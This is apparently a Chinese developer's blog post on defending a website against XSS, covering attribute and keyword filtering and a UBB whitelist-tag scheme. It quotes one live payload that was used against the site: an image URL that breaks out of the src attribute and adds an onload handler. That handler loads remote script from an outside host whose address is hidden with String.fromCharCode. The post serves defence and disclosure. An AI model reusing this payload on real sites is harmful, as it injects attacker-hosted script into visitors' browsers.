1. 程式人生 > >xss-javascript被攻擊系列--(二)

xss-javascript被攻擊系列--(二)

雖然伺服器端已經將cookies漏洞堵住了,可是指令碼還是可以執行,威脅依然沒有消除。

怎麼阻止指令碼執行,暫時想到的有3點:如下

1:去掉所有dom節點的所有onEvent事件

2:可以新增外部連結有關的屬性,為屬性值新增白名單限制。

3:去掉javascript,$,,jquery等指令碼關鍵字

這些都是由伺服器端來做,有點暴力。可至少可以保證網頁中的內容是安全的。先堵上漏洞再說。

前端能做點什麼呢,查詢了相應的資料,加入自己的ubb機制。

白名單標籤做ubb轉換,下邊給出常用的一些例項。

a標籤: [a]連結地址[/a]

img標籤:[img]圖片地址[/img]

embed標籤:[embed attribute=屬性名稱]視訊地址[/embed]

其他的標籤可以根據自己的專案做具體的轉化。

伺服器接收到這些格式的字元時,在經過安全機制過濾,並做HTML編碼後,再存入庫中。在頁面回顯時,再會將白名單中的標籤轉換為html標籤返回給前端。這時展示到頁面中的內容基本安全了。

再給出一個惡意程式碼:

1:此程式碼可以在img標籤中回顯,中間的雙引號會將src=“”屬性值的 “ 截斷,onload就可以正常的解析,惡意指令碼就會被成功執行。這種截斷的機制可以用在html標籤尖括號上,導致頁面佈局錯亂。

fromCharCode() 可接受一個指定的 Unicode 值,然後返回一個字串。看似正常的數值,可經過這個函式處理後,其實就可以是惡意指令碼的地址。

http://***.**.myqcloud.com/17/12/06/11/ea9a5705487c6e81"onload=jQuery.getScript(String.fromCharCode(47,47,108,51,49,46,99,99,47,49,46,106,115))<!--

部署上線後,終於消停了。

戰鬥還沒有結束,有可圖的利益,安全問題就一直會出現。在這條路上才是剛剛開始,有好的建議多多交流哦。